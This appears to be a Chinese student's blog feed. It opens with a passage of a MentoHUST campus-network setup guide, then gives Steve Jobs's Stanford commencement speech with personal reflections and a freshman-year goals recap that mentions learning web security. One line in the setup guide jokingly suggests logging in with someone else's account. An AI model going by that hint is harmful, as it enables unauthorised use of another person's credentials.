最重要的就是选网卡，如果你有虚拟机，你直接就可以看到你的网线是在哪个网卡上，像我一样：

实在不行，那就用穷举法吧！

一步步完成，你现在应该是可以连上校园网的了。

0x03修改用户信息

1⃣在穷举法的途中，你可能不能一步到位就找到你的网卡，所以你就要在/etc目录下找到mentohust.conf文件删除掉，然后把网线拔了再插进去，再重新输入sudo mentohust 重复0x02步骤，直到找到真正的网卡为止！！

2⃣或许你要坏坏地用别人的账号去登陆校园网，那你还是重复1⃣步骤吧！

0x04 配置移动/联通宽带

其实，当你成功连上了校园网之后，你只需要一条命令加上一个配置文件就可以顺利连上运营商的宽带了。

sudo mentohust -f/etc/mentohust/data.mpf -w

/etc/mentohust/yidong.mpf 这里只要修改成配置文件的对应路径即可，名字记得要改噢！

由于配置文件是学长分享的，所以就不无偿分享了，顺便打个小广告！

扫描下面二维码，

关注公众号，回复“移动”或“联通”分别获取配置文件下载链接。

Some perceptions after secondly read Steve Jobs‘s speech in Stanford

Sun, 03 Dec 2017 16:00:00 +0800

From Stanford Report, June 14, 2005

This is the text of the Commencement address by Steve Jobs, CEO of Apple Computer and of Pixar Animation Studios

Delivered on June 12, 2005.

I am honored to be with you today at your commencement from one of the finest universities in the world. I never graduated from college. Truth be told, this is the closest I've ever gotten to a college graduation. Today I want to tell you three stories from my life. That's it. No big deal. Just three stories.

The first story is about connecting the dots.

I dropped out of Reed College after the first 6 months, but then stayed around as a drop-in for another 18 months or so before I really quit. So why did I drop out?

It started before I was born. My biological mother was a young, unwed college graduate student, and she decided to put me up for adoption. She felt very strongly that I should be adopted by college graduates, so everything was all set for me to be adopted at birth by a lawyer and his wife. Except that when I popped out they decided at the last minute that they really wanted a girl. So my parents, who were on a waiting list, got a call in the middle of the night asking: "We have an unexpected baby boy; do you want him?" They said: "Of course." My biological mother later found out that my mother had never graduated from college and that my father had never graduated from high school. She refused to sign the final adoption papers. She only relented a few months later when my parents promised that I would someday go to college.

And 17 years later I did go to college. But I naively chose a college that was almost as expensive as Stanford, and all of my working-class parents' savings were being spent on my college tuition. After six months, I couldn't see the value in it. I had no idea what I wanted to do with my life and no idea how college was going to help me figure it out. And here I was spending all of the money my parents had saved their entire life. So I decided to drop out and trust that it would all work out OK. It was pretty scary at the time, but looking back it was one of the best decisions I ever made. The minute I dropped out I could stop taking the required classes that didn't interest me, and begin dropping in on the ones that looked interesting.

It wasn't all romantic. I didn't have a dorm room, so I slept on the floor in friends' rooms, I returned coke bottles for the 5￠ deposits to buy food with, and I would walk the 7 miles across town every Sunday night to get one good meal a week at the Hare Krishna temple. I loved it. And much of what I stumbled into by following my curiosity and intuition turned out to be priceless later on. Let me give you one example:

Reed College at that time offered perhaps the best calligraphy instruction in the country. Throughout the campus every poster, every label on every drawer, was beautifully hand calligraphed. Because I had dropped out and didn't have to take the normal classes, I decided to take a calligraphy class to learn how to do this. I learned about serif and san serif typefaces, about varying the amount of space between different letter combinations, about what makes great typography great. It was beautiful, historical, artistically subtle in a way that science can't capture, and I found it fascinating.

None of this had even a hope of any practical application in my life. But ten years later, when we were designing the first Macintosh computer, it all came back to me. And we designed it all into the Mac. It was the first computer with beautiful typography. If I had never dropped in on that single course in college, the Mac would have never had multiple typefaces or proportionally spaced fonts. And since Windows just copied the Mac, its likely that no personal computer would have them. If I had never dropped out, I would have never dropped in on this calligraphy class, and personal computers might not have the wonderful typography that they do. Of course it was impossible to connect the dots looking forward when I was in college. But it was very, very clear looking backwards ten years later.

Again, you can't connect the dots looking forward; you can only connect them looking backwards.So you have to trust that the dots will somehow connect in your future. You have to trust in something — your gut, destiny, life, karma, whatever. This approach has never let me down, and it has made all the difference in my life.

My second story is about love and loss.

I was lucky — I found what I loved to do early in life. Woz and I started Apple in my parents garage when I was 20. We worked hard, and in 10 years Apple had grown from just the two of us in a garage into a $2 billion company with over 4000 employees. We had just released our finest creation — the Macintosh — a year earlier, and I had just turned 30. And then I got fired. How can you get fired from a company you started? Well, as Apple grew we hired someone who I thought was very talented to run the company with me, and for the first year or so things went well. But then our visions of the future began to diverge and eventually we had a falling out. When we did, our Board of Directors sided with him. So at 30 I was out. And very publicly out. What had been the focus of my entire adult life was gone, and it was devastating.

I really didn't know what to do for a few months. I felt that I had let the previous generation of entrepreneurs down - that I had dropped the baton as it was being passed to me. I met with David Packard and Bob Noyce and tried to apologize for screwing up so badly. I was a very public failure, and I even thought about running away from the valley. But something slowly began to dawn on me — I still loved what I did. The turn of events at Apple had not changed that one bit. I had been rejected, but I was still in love. And so I decided to start over.

I didn't see it then, but it turned out that getting fired from Apple was the best thing that could have ever happened to me. The heaviness of being successful was replaced by the lightness of being a beginner again, less sure about everything. It freed me to enter one of the most creative periods of my life.

During the next five years, I started a company named NeXT, another company named Pixar, and fell in love with an amazing woman who would become my wife. Pixar went on to create the worlds first computer animated feature film, Toy Story, and is now the most successful animation studio in the world. In a remarkable turn of events, Apple bought NeXT, I returned to Apple, and the technology we developed at NeXT is at the heart of Apple's current renaissance. And Laurene and I have a wonderful family together.

I'm pretty sure none of this would have happened if I hadn't been fired from Apple. It was awful tasting medicine, but I guess the patient needed it. Sometimes life hits you in the head with a brick. Don't lose faith. I'm convinced that the only thing that kept me going was that I loved what I did. You've got to find what you love. And that is as true for your work as it is for your lovers. Your work is going to fill a large part of your life, and the only way to be truly satisfied is to do what you believe is great work. And the only way to do great work is to love what you do. If you haven't found it yet, keep looking. Don't settle. As with all matters of the heart, you'll know when you find it. And, like any great relationship, it just gets better and better as the years roll on. So keep looking until you find it. Don't settle.

My third story is about death.

When I was 17, I read a quote that went something like: "If you live each day as if it was your last, someday you'll most certainly be right." It made an impression on me, and since then, for the past 33 years, I have looked in the mirror every morning and asked myself: "If today were the last day of my life, would I want to do what I am about to do today?" And whenever the answer has been "No" for too many days in a row, I know I need to change something.

Remembering that I'll be dead soon is the most important tool I've ever encountered to help me make the big choices in life. Because almost everything — all external expectations, all pride, all fear of embarrassment or failure - these things just fall away in the face of death, leaving only what is truly important. Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.

About a year ago I was diagnosed with cancer. I had a scan at 7:30 in the morning, and it clearly showed a tumor on my pancreas. I didn't even know what a pancreas was. The doctors told me this was almost certainly a type of cancer that is incurable, and that I should expect to live no longer than three to six months. My doctor advised me to go home and get my affairs in order, which is doctor's code for prepare to die. It means to try to tell your kids everything you thought you'd have the next 10 years to tell them in just a few months. It means to make sure everything is buttoned up so that it will be as easy as possible for your family. It means to say your goodbyes.

I lived with that diagnosis all day. Later that evening I had a biopsy, where they stuck an endoscope down my throat, through my stomach and into my intestines, put a needle into my pancreas and got a few cells from the tumor. I was sedated, but my wife, who was there, told me that when they viewed the cells under a microscope the doctors started crying because it turned out to be a very rare form of pancreatic cancer that is curable with surgery. I had the surgery and I'm fine now.

This was the closest I've been to facing death, and I hope its the closest I get for a few more decades. Having lived through it, I can now say this to you with a bit more certainty than when death was a useful but purely intellectual concept:

No one wants to die. Even people who want to go to heaven don't want to die to get there. And yet death is the destination we all share. No one has ever escaped it. And that is as it should be, because Death is very likely the single best invention of Life. It is Life's change agent. It clears out the old to make way for the new. Right now the new is you, but someday not too long from now, you will gradually become the old and be cleared away. Sorry to be so dramatic, but it is quite true.

Your time is limited, so don't waste it living someone else's life. Don't be trapped by dogma — which is living with the results of other people's thinking. Don't let the noise of others' opinions drown out your own inner voice. And most important, have the courage to follow your heart and intuition. They somehow already know what you truly want to become. Everything else is secondary.

When I was young, there was an amazing publication called The Whole Earth Catalog, which was one of the bibles of my generation. It was created by a fellow named Stewart Brand not far from here in Menlo Park, and he brought it to life with his poetic touch. This was in the late 1960's, before personal computers and desktop publishing, so it was all made with typewriters, scissors, and polaroid cameras. It was sort of like Google in paperback form, 35 years before Google came along: it was idealistic, and overflowing with neat tools and great notions.

Stewart and his team put out several issues of The Whole Earth Catalog, and then when it had run its course, they put out a final issue. It was the mid-1970s, and I was your age. On the back cover of their final issue was a photograph of an early morning country road, the kind you might find yourself hitchhiking on if you were so adventurous. Beneath it were the words: "Stay Hungry. Stay Foolish." It was their farewell message as they signed off. Stay Hungry. Stay Foolish. And I have always wished that for myself. And now, as you graduate to begin anew, I wish that for you.

Stay Hungry. Stay Foolish.

Thank you all very much.

Perceptions

虽然有时候自己的好奇心或直觉会让自己陷入窘境，但是后来事实证明，这些经历都是无价的。

I loved it.

And much of what I stumbled into by following my curiosity and intuition turned out to be priceless later on.

我跟着我的直觉和好奇心走, 遇到的很多东西,此后被证明是无价之宝。

随着年龄的增长，对各种事物的看法就会发生微妙的变化。

对我而言：做啥事，何必过分在意别人的言语，走自己的路，因果早已埋下，问心无愧足矣。

Again, you can't connect the dots looking forward; you can only connect them looking backwards.

当然我在大学的时候，还不可能把从前的点点滴滴串连起来,但是当我十年后回顾这一切的时候,真的豁然开朗了。

So you have to trust that the dots will somehow connect in your future. You have to trust in something — your gut, destiny, life, karma, whatever. This approach has never let me down, and it has made all the difference in my life.

再次说明的是,你在向未来展望的时候不可能将这些片断串连起来，你只能在回顾的时候串起他们。所以你必须相信这些片断会在你未来的某一天串连起来，你必须要相信某些东西：你的勇气、目的、生命、因缘……这个过程从来没有令我失望,只是让我的生命更加地与众不同。

没有谁的一生是一帆风顺的，所以总会碰到不如意的事情，或许这就是“天将降大任于斯人也，必先苦其心志，劳其筋骨，饿其体肤，空乏其身，行指乱其所为，所以动心忍性，曾益其所不能“？

我也希望“唯一使我一直走下去的，就是我做的事情令我无比钟爱“。

自我认同是一剂良药。

想起了Randy Pausch的《最后一课》上的一句话“When it comes to someone who is romantically interested in you, just igore everything he says and only pay attention to what he did." So，任何敌不过时间考验的海誓山盟都是一派胡言！

Sometimes life hits you in the head with a brick. Don't lose faith.

有些时候, 生活会拿起一块砖头向你的脑袋上猛拍一下，不要失去信仰。

I'm convinced that the only thing that kept me going was that I loved what I did. You've got to find what you love. And that is as true for your work as it is for your lovers.

我很清楚唯一使我一直走下去的，就是我做的事情令我无比钟爱。你需要去找到你所爱的东西。对于工作是如此, 对于你的爱人也是如此。

And the only way to do great work is to love what you do.

你只有相信自己所做的是伟大的工作, 你才能怡然自得。

And, like any great relationship, it just gets better and better as the years roll on.

就像任何真诚的关系, 随着岁月的流逝只会越来越紧密。

这或许有点难，但是，朝着这个方向努力吧！

生命是宝贵的，死后就算你拥有万贯家财，你也无法带到下面去用，及时行善，及时行乐。

当自己患得患失时，让“记住你即将死去”回荡在你的脑海里，你就会释怀。

不必羡慕别人的生活，每个人都是独一无二的。

聆听自己内心的声音，做最真实的自己，做自己想成为的自己。

"If you live each day as if it was your last, someday you'll most certainly be right."

”如果你把每一天都当作生命中最后一天去生活的话,那么有一天你会发现你是正确的。”

Remembering that I'll be dead soon is the most important tool I've ever encountered to help me make the big choices in life. Because almost everything — all external expectations, all pride, all fear of embarrassment or failure - these things just fall away in the face of death, leaving only what is truly important. Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.

“记住你即将死去”是我一生中遇到的最重要箴言。它帮我指明了生命中重要的选择。因为几乎所有的事情, 包括所有的荣誉、所有的骄傲、所有对难堪和失败的恐惧,这些在死亡面前都会微不足道。我看到的是留下的真正重要的东西。你有时候会思考你将会失去某些东西, “记住你即将死去”是我知道的避免这些想法的最好办法。如果你清空一切, 你没有理由不去跟随自己内心的声音。

Your time is limited, so don't waste it living someone else's life.

你们的时间很有限, 所以不要将他们浪费在重复其他人的生活上。

And most important, have the courage to follow your heart and intuition. They somehow already know what you truly want to become. Everything else is secondary.

还有最重要的是, 你要有勇气去听从你直觉和心灵的指示——它们在某种程度上知道你想要成为什么样子，所有其他的事情都是次要的。

Stay Hungry. Stay Foolish.

It's time to set Flags in Freshman Year (完结)

Sun, 03 Dec 2017 01:27:56 +0800

In my freshman year:

❌要考试的科目均分>=90
Include：公共课（高数、线代、英语、计算机基础……）、专业课
❓Skills TOP 10 of whole grade
✔️自学Python、C、Web漏洞类型、读几本技术书
- 《白帽子讲Web安全》
- 《Python网络数据采集》
- 《》
❌High Mark pass CET4、CET6（没上600...）
✔️社团活动(好像完成的差不多了QAQ)—>提升个人魅力、各项能力
✔️拿到驾照

2018.7 完结

这一年。。。事情很多。。。有时候处理不过来，或者有一些东西水过去了。现在总算体会到”人的精力是有限的“这一说法了，刚大一时，初生牛犊不怕虎，怀着干一番“事业”的动力，啥事都想往里插一手（就如一开始又想去舞蹈队，又想去文艺部，结果后来我还是只留在了协会）。

有时候做事情还是要量力而行。尽管很忙，但其实是很充实的，赚了第一篇稿费，做了第一个项目……

————华丽的分割线————

大一上

从开学到11月底，几乎每天都是早出晚归的节奏：
早上6.40起床刷牙洗脸—>跑操
……
晚自习21:10结束—>23：10排练演出节目—>回寝室
当一切收拾好，瘫坐在床上的时候，发现已经过了12点了。有时候才想起我的高数/线代好像。。。。还没有。。写完！然后又爬起来，挑灯夜读。。。
虽然这段时间累是累了点，但是让我如愿以偿地登上了迎新晚会的舞台，为几个协会的活动友情演出了一波，还客串了一下“新光大道”才艺大赛。对于一个舞者来说，何必去在意上台前苦练的心酸，当自己站在舞台上，被彩灯、追光灯亮瞎了眼的时候，什么心酸痛苦，早已忘得一干二净，只剩下享受舞台的自己！
在这繁忙、充实的生活中，其实还去打了Geek和班级对抗赛，虽然两次成绩都还可以，但是都是有身边dalao们的帮助。作为一个小白，当你真正去打比赛时，你就会发现自己的路还长，总会有一些脑洞大开而且还要用你没有学过的东西去答题，因此着对学习能力的要求就很高（尤其是快速学习的能力）。

总的来说，这段时间，累并快乐着，因为——干着自己爱干的事：

经过重重筛选淘汰，登上了迎新晚会的舞台
搭起了自己的Blog
拉丁舞协会的宣传工作（Logo重新设计、微信公众号、视频编辑整理）
Web SKill Learning —>SQL Injection、XSS

还认识了有趣的童鞋和深藏不露的dalao们，也结识了一群兴趣相投的小可爱们(｡◕ˇ∀ˇ◕）

————华丽的分割线————

总结完了前段时间的快乐与收获，也该说些沉重的话题了……

工程导论的结课作业除了答辩就是写大学四年人生规划，人生规划课老师节节课离不开提醒我们设立小目标、规划自己的学习生活、情感生活……（毕竟她本人就是靠着实现这一年又一年的目标，达到今天的成就）

其实也不无道理，没有规划，人就没有动力；没有目标，人就容易散漫。

寝室里，还真不是一个学习的好地方，不是打游戏就是煲剧……所以我选择泡图书馆……

前几天看到一篇CET6模拟的英语作文题：是选择保证未来光明的工作还是感兴趣的工作

于我来说，二者是可以得兼的（虽然在考场上我会选择写后者），因为当年我听完习大大"没有网络安全就没有国家安全"的演讲，我就觉得Information Security是一个前途光明的工作，于是，在我略微了解之后，Information Security就成了我感兴趣的专业，于是就顺理成章的入了门……

扯远了扯远了(￣∇￣)

人，总是要活在压力下，才会不断地鞭笞自己向前……

大一下

渐渐踏进安全的圈子，但是越往前走，发现自己需要进步、需要学习的地方还有很多。

才大一，我已经觉得自己过上了大二满课的生活。。每天大概睡五个半小时，简直不要太爽！！

为了拥有一口 fluent and native English，雷打不动地早上6.20起床早读（简直比当年高三的自己还猛）。

对于学校的课，我始终在想，怎么样才既能自己学好，又能让绩点不低。一个学期3/4的课勤勤恳恳，认认真真的听、完成作业，终究敌不过“水军”们。难道我也要被同化才能让我的绩点离4近一些？

奉上《工程导论》大学四年人生规划思维导图，警醒自己，也希望大家监督！